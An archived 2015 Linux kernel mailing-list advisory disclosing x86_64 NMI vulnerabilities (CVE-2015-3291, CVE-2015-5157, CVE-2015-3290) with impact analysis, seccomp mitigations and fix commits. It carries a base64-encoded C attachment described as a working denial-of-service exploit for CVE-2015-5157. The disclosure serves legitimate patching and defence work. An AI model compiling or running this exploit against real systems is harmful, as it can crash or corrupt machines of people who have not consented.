Return-Path: Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1752683AbbGVSMX (ORCPT ); Wed, 22 Jul 2015 14:12:23 -0400 Received: from mail-la0-f46.google.com ([209.85.215.46]:35273 "EHLO mail-la0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1752586AbbGVSMV (ORCPT ); Wed, 22 Jul 2015 14:12:21 -0400 MIME-Version: 1.0 From: Andy Lutomirski Date: Wed, 22 Jul 2015 11:12:00 -0700 Message-ID: Subject: Linux x86_64 NMI security issues To: oss security list , "linux-kernel@vger.kernel.org" Content-Type: multipart/mixed; boundary=001a11c36c402d0346051b7ab681 Sender: linux-kernel-owner@vger.kernel.org List-ID: X-Mailing-List: linux-kernel@vger.kernel.org Content-Length: 9526 Lines: 178 --001a11c36c402d0346051b7ab681 Content-Type: text/plain; charset=UTF-8 x86 has a woefully poorly designed NMI mechanism. Linux uses it for profiling. The tricks that keep NMIs from nesting improperly are complicated, as are the tricks that try to handle things like NMI watchdogs and physical buttons without proper status registers. On x86_64 it's particularly bad due to a nasty interaction with SYSCALL. Perhaps unsurprisingly, the implementation was incorrect in a few corner cases. +++++ CVE-2015-3291 +++++ Malicious user code can cause some fraction of NMIs to be ignored. (Off the top of my head, it might work 25% of the time.) This happens when user code points RSP to the kernel's NMI stack and executes SYSCALL. An NMI that occurs before the kernel updates RSP or that occurs between when the kernel restores RSP and executes SYSRET will take the wrong code path through the NMI handler and be ignored. This has probably existed since Linux 3.3. The impact is extremely low. Fixed by: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=810bc075f78ff2c221536eb3008eac6a492dba2d +++++ CVE-2015-5157 +++++ Petr Matousek and I discovered that an NMI that interrupts userspace and encounters an IRET fault is incorrectly handled. Symptoms range from an OOPS to possible corruption or privilege escalation. I haven't verified how much corruption is possible or on what kernel versions it occurs. Some form of crash is likely in principle since 3.3, and it can be triggered by the attached exploit on 3.13 or newer, I believe. On kernels that are patched for BadIRET and have a fixup_bad_iret function (which should be most kernels that are keeping up with low-level security issues), there are two cases. Case 1a (more up-to-date kernels where INTERRUPT_RETURN is "jmp irq_return"): fixup_bad_iret will be invoked and will attempt to recover. There's a narrow window in which a new NMI will cause corruption, in which case all bets are off. That could hang, crash, or possibly be exploited for privilege escalation. Case 1b (less up-to-date kernels where INTERRUPT_RETURN is "iretq"): The kernel will try to OOPS due to a bad kernel fault, except that the OOPS will be processed with the wrong gsbase. This is basically the BadIRET condition, and is probably exploitable using similar techniques to BadIRET. Case 2 (kernels that are not patched for BadIRET): I didn't analyze it. BadIRET is a much worse vulnerability and you should fix it. If you have just the minimal BadIRET fix but not fixup_bad_iret, the impact is probably similar to Case 1a except that the window for corruption is much larger. On some of these kernels, it can take quite a while for the exploit to do anything. Mitigations: Use seccomp to disable perf_event_open or modify_ldt or run with only a single CPU. To my knowledge, this cannot be exploited on single-processor systems or in single-threaded applications. Fixed by: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9b6e6a8334d56354853f9c255d1395c2ba570e0a Alternatively worked around by: https://git.kernel.org/cgit/linux/kernel/git/luto/linux.git/commit/?h=x86/nmi&id=59ab8e572e5f65289822f3cedfcdf857f43f7c74 although the latter patch is incompatible with Xen. +++++ NMI bug, no CVE assigned +++++ On a kernel with the first of the two patches above but not the second, the attached CVE-2015-5157 exploit can cause severe log spam. I don't think this fundamentally depends on the first of the patches, but I haven't been able to reproduce it without that patch. On the other hand, I haven't tried that hard. +++++ CVE-2015-3290 +++++ High impact NMI bug on x86_64 systems 3.13 and newer, embargoed. Also fixed by: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9b6e6a8334d56354853f9c255d1395c2ba570e0a The other fix (synchronous modify_ldt) does *not* fix CVE-2015-3290. You can mitigate CVE-2015-3290 by blocking modify_ldt or perf_event_open using seccomp. A fully-functional, portable, reliable exploit is privately available and will be published in a week or two. *Patch your systems* Note: Several of these fixes each depend on a few patches immediately before them. The NMI stack switching fix also depends on changes made in 4.2 and will appear to apply but crash on older kernels. I have a different variant that's more portable. -- Andy Lutomirski AMA Capital Management, LLC --001a11c36c402d0346051b7ab681 Content-Type: text/x-csrc; charset=US-ASCII; name="CVE-2015-5157.c" Content-Disposition: attachment; filename="CVE-2015-5157.c" Content-Transfer-Encoding: base64 X-Attachment-Id: f_icexvgh20 LyoKICogQ29weXJpZ2h0IChjKSAyMDE1IEFuZHJldyBMdXRvbWlyc2tpCiAqIEdQTCB2MgogKgog KiBFeHBsb2l0IGZvciBDVkUtMjAxNS01MTU3LCBhIGRlbmlhbCBvZiBzZXJ2aWNlLgogKiBCdWls ZCB3aXRoOgogKiAgIGdjYyAtbTMyIC1PMiAtbyBDVkUtMjAxNS01MTU3IENWRS0yMDE1LTUxNTcu YyAtcHRocmVhZAogKgogKiBSdW4gaXQgYW5kIGZvbGxvdyBkaXJlY3Rpb25zLgogKi8KCiNkZWZp bmUgX0dOVV9TT1VSQ0UKCiNpbmNsdWRlIDxzeXMvdGltZS5oPgojaW5jbHVkZSA8dGltZS5oPgoj aW5jbHVkZSA8c3RkbGliLmg+CiNpbmNsdWRlIDxzeXMvc3lzY2FsbC5oPgojaW5jbHVkZSA8dW5p c3RkLmg+CiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDxp bnR0eXBlcy5oPgojaW5jbHVkZSA8c3lzL21tYW4uaD4KI2luY2x1ZGUgPHN5cy9zaWduYWwuaD4K I2luY2x1ZGUgPHN5cy91Y29udGV4dC5oPgojaW5jbHVkZSA8YXNtL2xkdC5oPgojaW5jbHVkZSA8 ZXJyLmg+CiNpbmNsdWRlIDxzZXRqbXAuaD4KI2luY2x1ZGUgPHB0aHJlYWQuaD4KI2luY2x1ZGUg PGxpbnV4L2Z1dGV4Lmg+CiNpbmNsdWRlIDxlcnJuby5oPgoKc3RhdGljIHZvaWQgc2V0X2NzKHVu c2lnbmVkIHNob3J0IGNzKQp7CiNpZmRlZiBfX3g4Nl82NF9fCglhc20gdm9sYXRpbGUgKAoJCSIg ICBwdXNocQklMAkJXG5cdCIKCQkiICAgY2FsbAkxZgkJXG5cdCIKCQkiMTogYWRkcQkkMmYtMWIs ICglJXJzcCkJXG5cdCIKCQkiICAgbHJldHEJCQlcblx0IgoJCSIyOiIKCQk6IDogInIiIChjcykp OwojZWxzZQoJYXNtIHZvbGF0aWxlICgKCQkiICAgcHVzaGwJJTAJCVxuXHQiCgkJIiAgIGNhbGwJ MWYJCVxuXHQiCgkJIjE6IGFkZGwJJDJmLTFiLCAoJSVlc3ApCVxuXHQiCgkJIiAgIGxyZXRsCQkJ XG5cdCIKCQkiMjoiCgkJOiA6ICJyIiAoKHVuc2lnbmVkIGludCljcykpOwojZW5kaWYKfQoKc3Rh dGljIHZvaWQgc2V0aGFuZGxlcihpbnQgc2lnLCB2b2lkICgqaGFuZGxlcikoaW50LCBzaWdpbmZv X3QgKiwgdm9pZCAqKSwKCQkgICAgICAgaW50IGZsYWdzKQp7CglzdHJ1Y3Qgc2lnYWN0aW9uIHNh OwoJbWVtc2V0KCZzYSwgMCwgc2l6ZW9mKHNhKSk7CglzYS5zYV9zaWdhY3Rpb24gPSBoYW5kbGVy OwoJc2Euc2FfZmxhZ3MgPSBTQV9TSUdJTkZPIHwgZmxhZ3M7CglzaWdlbXB0eXNldCgmc2Euc2Ff bWFzayk7CglpZiAoc2lnYWN0aW9uKHNpZywgJnNhLCAwKSkKCQllcnIoMSwgInNpZ2FjdGlvbiIp OwoKfQoKc3RhdGljIHZvaWQgc2V0X2xkdCh2b2lkKQp7Cgljb25zdCBzdHJ1Y3QgdXNlcl9kZXNj IGRlc2MgPSB7CgkJLmVudHJ5X251bWJlciAgICA9IDAsCgkJLmJhc2VfYWRkciAgICAgICA9IDAs CgkJLmxpbWl0ICAgICAgICAgICA9IDB4ZmZmZmYsCgkJLnNlZ18zMmJpdCAgICAgICA9IDEsCgkJ LmNvbnRlbnRzICAgICAgICA9IDIsIC8qIENvZGUsIG5vdCBjb25mb3JtaW5nICovCgkJLnJlYWRf ZXhlY19vbmx5ICA9IDAsCgkJLmxpbWl0X2luX3BhZ2VzICA9IDEsCgkJLnNlZ19ub3RfcHJlc2Vu dCA9IDAsCgkJLnVzZWFibGUgICAgICAgICA9IDAKCX07CgoJaWYgKHN5c2NhbGwoU1lTX21vZGlm eV9sZHQsIDEsICZkZXNjLCBzaXplb2YoZGVzYykpICE9IDApCgkJZXJyKDEsICJtb2RpZnlfbGR0 Iik7Cn0KCnN0YXRpYyB2b2lkIGNsZWFyX2xkdCh2b2lkKQp7Cgljb25zdCBzdHJ1Y3QgdXNlcl9k ZXNjIGRlc2MgPSB7fTsKCWlmIChzeXNjYWxsKFNZU19tb2RpZnlfbGR0LCAxLCAmZGVzYywgc2l6 ZW9mKGRlc2MpKSAhPSAwKQoJCWVycigxLCAibW9kaWZ5X2xkdCIpOwp9CgpzdGF0aWMgam1wX2J1 ZiBqbXBidWY7CnN0YXRpYyB2b2xhdGlsZSB1bnNpZ25lZCBpbnQgZnR4OwoKc3RhdGljIHZvaWQg c2lnc2VndihpbnQgc2lnLCBzaWdpbmZvX3QgKmluZm8sIHZvaWQgKmN0eF92b2lkKQp7CglpZiAo ZnR4ID09IDEpIHsKCQlwcmludGYoIlVuZXhwZWN0ZWQgU0VHVlxuIik7CgkJX2V4aXQoMSk7Cgl9 CgoJc2lnbG9uZ2ptcChqbXBidWYsIDEpOwp9CgpzdGF0aWMgdm9pZCAqdGhyZWFkcHJvYyh2b2lk ICpjdHgpCnsKCWNwdV9zZXRfdCBjcHVzZXQ7CglDUFVfWkVSTygmY3B1c2V0KTsKCUNQVV9TRVQo MSwgJmNwdXNldCk7CglpZiAoc2NoZWRfc2V0YWZmaW5pdHkoMCwgc2l6ZW9mKGNwdXNldCksICZj cHVzZXQpICE9IDApIHsKCQlpZiAoZXJybm8gPT0gRUlOVkFMKQoJCQllcnJ4KDEsICJGYWlsZWQg dG8gYmluZCB0byBDUFUgMSAtLSBtYWtlIHN1cmUgeW91IGhhdmUgYXQgbGVhc3QgdHdvIENQVXNc biIpOwoJCWVycigxLCAic2NoZWRfc2V0YWZmaW5pdHkgdG8gQ1BVIDEiKTsKCX0KCgl3aGlsZSAo MSkgewoJCXN5c2NhbGwoU1lTX2Z1dGV4LCAmZnR4LCBGVVRFWF9XQUlULCAwLCBOVUxMLCBOVUxM LCAwKTsKCQl3aGlsZSAoZnR4ICE9IDIpCgkJCTsKCQljbGVhcl9sZHQoKTsKCQlmdHggPSAwOwoJ fQp9CgppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqKmFyZ3YpCnsKCXB0aHJlYWRfdCB0aHJlYWQ7 CgoJcHJpbnRmKCJUaGlzIHRlc3QgcnVucyBmb3JldmVyLiAgUHJlc3MgQ3RybC1DIGlmIHlvdSBn ZXQgYm9yZWQuXG4iCgkgICAgICAgIklmIG5vdGhpbmcgaGFwcGVucywgdGhlbiBlaXRoZXIgeW91 ciBrZXJuZWwgaXMgb2theVxuIgoJICAgICAgICJvciB5b3UgZGlkbid0IGFidXNlIHBlcmYgYXBw cm9wcmlhdGVseS5cbiIKCSAgICAgICAiUnVuIG1lIHVuZGVyIGhlYXZ5IHBlcmYgbG9hZC4gIEZv ciBleGFtcGxlOlxuIgoJICAgICAgICJwZXJmIHJlY29yZCAtbyAvZGV2L251bGwgLWUgY3ljbGVz IC1lIGluc3RydWN0aW9ucyAtYyAxMDAwMCAlc1xuIiwgYXJndlswXSk7CgoJaWYgKHB0aHJlYWRf Y3JlYXRlKCZ0aHJlYWQsIDAsIHRocmVhZHByb2MsIDApICE9IDApCgkJZXJyKDEsICJwdGhyZWFk X2NyZWF0ZSIpOwoKCWNwdV9zZXRfdCBjcHVzZXQ7CglDUFVfWkVSTygmY3B1c2V0KTsKCUNQVV9T RVQoMCwgJmNwdXNldCk7CglpZiAoc2NoZWRfc2V0YWZmaW5pdHkoMCwgc2l6ZW9mKGNwdXNldCks ICZjcHVzZXQpICE9IDApCgkJZXJyKDEsICJzY2hlZF9zZXRhZmZpbml0eSB0byBDUFUgMCIpOwoK CXNldGhhbmRsZXIoU0lHU0VHViwgc2lnc2VndiwgMCk7CglzaWdzZXRqbXAoam1wYnVmLCAxKTsK CQoJd2hpbGUgKGZ0eCAhPSAwKQoJCTsKCXNldF9sZHQoKTsKCiNpZmRlZiBfX3g4Nl82NF9fCi8v IFdlIGNhbid0IGFkZCBhIDY0LWJpdCBjb2RlIHNlZ21lbnQgdG8gdGhlIExEVAojZXJyb3IgQnVp bGQgYXMgMzItYml0CiNlbmRpZgoKCWZ0eCA9IDE7CglzeXNjYWxsKFNZU19mdXRleCwgJmZ0eCwg RlVURVhfV0FLRSwgMCwgTlVMTCwgTlVMTCwgMCk7CgoJc2V0X2NzKDB4Nyk7CgoJZnR4ID0gMjsK Cgl3aGlsZSAoMSkKCQk7Cn0K --001a11c36c402d0346051b7ab681-- -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/